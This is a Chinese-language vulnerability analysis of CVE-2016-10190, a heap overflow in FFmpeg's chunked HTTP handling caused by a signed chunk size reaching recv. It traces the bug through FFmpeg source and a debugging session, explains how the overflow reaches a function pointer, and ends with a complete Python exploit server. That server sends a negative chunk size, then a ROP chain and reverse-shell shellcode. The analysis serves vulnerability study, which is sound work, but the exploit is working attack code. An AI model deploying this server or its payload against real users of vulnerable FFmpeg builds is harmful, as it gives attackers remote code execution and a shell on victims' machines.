作者:bird@tsrc
FFmpeg是一个著名的处理音视频的开源项目,使用者众多。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-2016-10190、CVE-2016-10191以及CVE-2016-10192。本文详细分析了CVE-2016-10190,是二进制安全入门学习堆溢出一个不错的案例。
调试环境:
此漏洞是发生在处理HTTP
流时,读取HTTP
流的过程大概如下:
avformat_open_input
函数初始化输入文件的主要信息,其中与漏洞有关的是创建AVIOContext
结构体HTTP
流则调用http_open
函数发起请求http_read_header
函数解析响应数据的头信息avio_read
->io_read_packet
->http_read
->http_read_stream
函数读取之后的数据首先看下http_read_stream
函数
static int http_read_stream(URLContext *h, uint8_t *buf, int size) { HTTPContext *s = h->priv_data; int err, new_location, read_ret; int64_t seek_ret; ... if (s->chunksize >= 0) { if (!s->chunksize) { char line[32]; do { if ((err = http_get_line(s, line, sizeof(line))) < 0) return err; } while (!*line); /* skip CR LF from last chunk */ s->chunksize = strtoll(line, NULL, 16); av_log(NULL, AV_LOG_TRACE, "Chunked encoding data size: %"PRId64"'\n", s->chunksize); if (!s->chunksize) return 0; } size = FFMIN(size, s->chunksize); } ... read_ret = http_buf_read(h, buf, size); ... return read_ret; }
上面s->chunksize = strtoll(line, NULL, 16)
这一行代码是读取chunk的大小,这里调用strtoll
函数返回一个有符号数,再看HTTPContext
结构体
typedef struct HTTPContext { const AVClass *class; URLContext *hd; unsigned char buffer[BUFFER_SIZE], *buf_ptr, *buf_end; int line_count; int http_code; /* Used if "Transfer-Encoding: chunked" otherwise -1. */ int64_t chunksize; ... } HTTPContext;
可以看到chunksize
为int64_t
类型也是有符号数,当执行size = FFMIN(size, s->chunksize)
这行代码时,由于传进来的size=0x8000
,如果之前的strtoll
函数返回一个负数,这样就会导致size = s->chunksize
也为一个负数,之后执行到read_ret = http_buf_read(h, buf, size)
,看下http_buf_read
函数
static int http_buf_read(URLContext *h, uint8_t *buf, int size) { HTTPContext *s = h->priv_data; int len; /* read bytes from input buffer first */ len = s->buf_end - s->buf_ptr; if (len > 0) { if (len > size) len = size; memcpy(buf, s->buf_ptr, len); s->buf_ptr += len; } else { int64_t target_end = s->end_off ? s->end_off : s->filesize; if ((!s->willclose || s->chunksize < 0) && target_end >= 0 && s->off >= target_end) return AVERROR_EOF; len = ffurl_read(s->hd, buf, size); ... } ... return len; }
上面代码else
分支执行到len = ffurl_read(s->hd, buf, size)
,而ffurl_read
中又会调用tcp_read
函数(函数指针的方式)来读取之后真正的数据,最后看tcp_read
函数
static int tcp_read(URLContext *h, uint8_t *buf, int size) { TCPContext *s = h->priv_data; int ret; if (!(h->flags & AVIO_FLAG_NONBLOCK)) { ret = ff_network_wait_fd_timeout(s->fd, 0, h->rw_timeout, &h->interrupt_callback); if (ret) return ret; } ret = recv(s->fd, buf, size, 0); return ret < 0 ? ff_neterrno() : ret; }
当执行到ret = recv(s->fd, buf, size, 0)
时,如果size
为负数,recv
函数会把size
转换成无符号数变成一个很大的正数,而buf
指向的又是堆上的空间,这样就可能导致堆溢出,如果溢出覆盖一个函数指针就可能导致远程代码执行。
在http_read_stream
函数里想要执行s->chunksize = strtoll(line, NULL, 16)
需要s->chunksize >= 0
,看下发送请求后http_read_header
函数中解析响应数据里每个请求头的函数process_line
static int process_line(URLContext *h, char *line, int line_count, int *new_location) { HTTPContext *s = h->priv_data; const char *auto_method = h->flags & AVIO_FLAG_READ ? "POST" : "GET"; char *tag, *p, *end, *method, *resource, *version; int ret; /* end of header */ if (line[0] == '\0') { s->end_header = 1; return 0; } p = line; if (line_count == 0) { ... } else { while (*p != '\0' && *p != ':') p++; if (*p != ':') return 1; *p = '\0'; tag = line; p++; while (av_isspace(*p)) p++; if (!av_strcasecmp(tag, "Location")) { if ((ret = parse_location(s, p)) < 0) return ret; *new_location = 1; } else if (!av_strcasecmp(tag, "Content-Length") && s->filesize == -1) { s->filesize = strtoll(p, NULL, 10); } else if (!av_strcasecmp(tag, "Content-Range")) { parse_content_range(h, p); } else if (!av_strcasecmp(tag, "Accept-Ranges") && !strncmp(p, "bytes", 5) && s->seekable == -1) { h->is_streamed = 0; } else if (!av_strcasecmp(tag, "Transfer-Encoding") && !av_strncasecmp(p, "chunked", 7)) { s->filesize = -1; s->chunksize = 0; } ... } return 1; }
可以看到当请求头中包含Transfer-Encoding: chunked
时会把s->filesize
赋值-1
、s->chunksize
赋值0
。
下面看下漏洞利用的整个调试过程,先发送包含Transfer-Encoding: chunked
的请求头,然后avio_read
函数中会循环调用s->read_packet
指向的函数指针io_read_packet
读取请求头之后的数据
同时看下AVIOContext
结构体参数
之后来到http_read_stream
函数
可以看到s->chunksize == 0
,这时服务器发送chunk的大小为-1
,然后就会执行s->chunksize = strtoll(line, NULL, 16)
把s->chunksize
赋值为-1
,并在执行size = FFMIN(size, s->chunksize)
后把size
赋值为-1
,之后来到http_buf_read
函数
这里len == 0
会转而执行else
分支,又由于s->end_off == 0 && s->filesize == -1
,这样就会执行到len = ffurl_read(s->hd, buf, size)
,ffurl_read
中会调用tcp_read
函数执行到ret = recv(s->fd, buf, size, 0)
可以看到buf
的地址是0x229fd20
,而之前的AVIOContext
的地址为0x22a7d80
,因此buf在读入0x22a7d80 - 0x229fd20 = 0x8060
字节后就可以溢出到AVIOContext
结构体,这里溢出覆盖它的read_packet
函数指针
这样在avio_read
函数中循环进行下一次读取的时候就控制了PC
最后利用成功反弹shell的演示
根据https://gist.github.com/PaulCher/324690b88db8c4cf844e056289d4a1d6修改
#!/usr/bin/python import os import sys import socket from time import sleep from pwn import * bind_ip = '0.0.0.0' bind_port = 12345 headers = """HTTP/1.1 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:26:47 GMT Content-Type: text/html Transfer-Encoding: chunked """ elf = ELF('/home/bird/ffmpeg_sources/FFmpeg-n3.2.1/ffmpeg') shellcode_location = 0x1b28000 # require writeable -> data or bss segment... page_size = 0x1000 rwx_mode = 7 gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64'))) pop_rdi = gadget('pop rdi; ret') log.info("pop_rdi:%#x" % pop_rdi) pop_rsi = gadget('pop rsi; ret') log.info("pop_rsi:%#x" % pop_rsi) pop_rax = gadget('pop rax; ret') log.info("pop_rax:%#x" % pop_rax) pop_rcx = gadget('pop rcx; ret') log.info("pop_rcx:%#x" % pop_rcx) pop_rdx = gadget('pop rdx; ret') log.info("pop_rdx:%#x" % pop_rdx) pop_rbp = gadget('pop rbp; ret') log.info("pop_rbp:%#x" % pop_rbp) push_rbx = gadget('push rbx; jmp rdi') log.info("push_rbx:%#x" % push_rbx) pop_rsp = gadget('pop rsp; ret') log.info("pop_rsp:%#x" % pop_rsp) add_rsp = gadget('add rsp, 0x58') mov_gadget = gadget('mov qword ptr [rcx], rax ; ret') log.info("mov_gadget:%#x" % mov_gadget) mprotect_func = elf.plt['mprotect'] log.info("mprotect_func:%#x" % mprotect_func) read_func = elf.plt['read'] log.info("read_func:%#x" % read_func) def handle_request(client_socket): request = client_socket.recv(2048) print request payload = '' payload += 'C' * (0x8060) payload += p64(0x004a9929) # rop starts here -> add rsp, 0x58 ; ret payload += 'CCCCCCCC' * 4 payload += p64(0x0040b839) # rdi -> pop rsp ; ret payload += p64(0x015e1df5) # call *%rax -> push rbx ; jmp rdi payload += 'BBBBBBBB' * 3 payload += 'AAAA' payload += p32(0) payload += 'AAAAAAAA' payload += p64(0x004a9929) # second add_esp rop to jump to uncorrupted chunk -> add rsp, 0x58 ; ret payload += 'XXXXXXXX' * 11 # real rop payload starts here # # using mprotect to create executable area payload += p64(pop_rdi) payload += p64(shellcode_location) payload += p64(pop_rsi) payload += p64(page_size) payload += p64(pop_rdx) payload += p64(rwx_mode) payload += p64(mprotect_func) # backconnect shellcode x86_64: 127.0.0.1:31337 shellcode = "\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode shellslices = map(''.join, zip(*[iter(shellcode)]*8)) write_location = shellcode_location - 8 for shellslice in shellslices: payload += p64(pop_rax) payload += shellslice payload += p64(pop_rcx) payload += p64(write_location) payload += p64(mov_gadget) write_location += 8 payload += p64(pop_rbp) payload += p64(4) payload += p64(shellcode_location) client_socket.send(headers) client_socket.send('-1\n') sleep(5) client_socket.send(payload) client_socket.close() if __name__ == '__main__': s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((bind_ip, bind_port)) s.listen(5) filename = os.path.basename(__file__) st = os.stat(filename) while True: client_socket, addr = s.accept() handle_request(client_socket) if os.stat(filename) != st: print 'restarted' sys.exit(0)
此漏洞主要是由于没有正确定义有无符号数的类型导致覆盖函数指针来控制PC,微软在Windows 10中加入了CFG(Control Flow Guard)正是来缓解这种类型的攻击,此漏洞已在https://github.com/FFmpeg/FFmpeg/commit/2a05c8f813de6f2278827734bf8102291e7484aa中修复。另外对于静态编译的版本,ROP gadget较多,相对好利用,对于动态链接的版本,此漏洞在libavformat.so
中,找到合适的gadget会有一定难度,但并非没有利用的可能。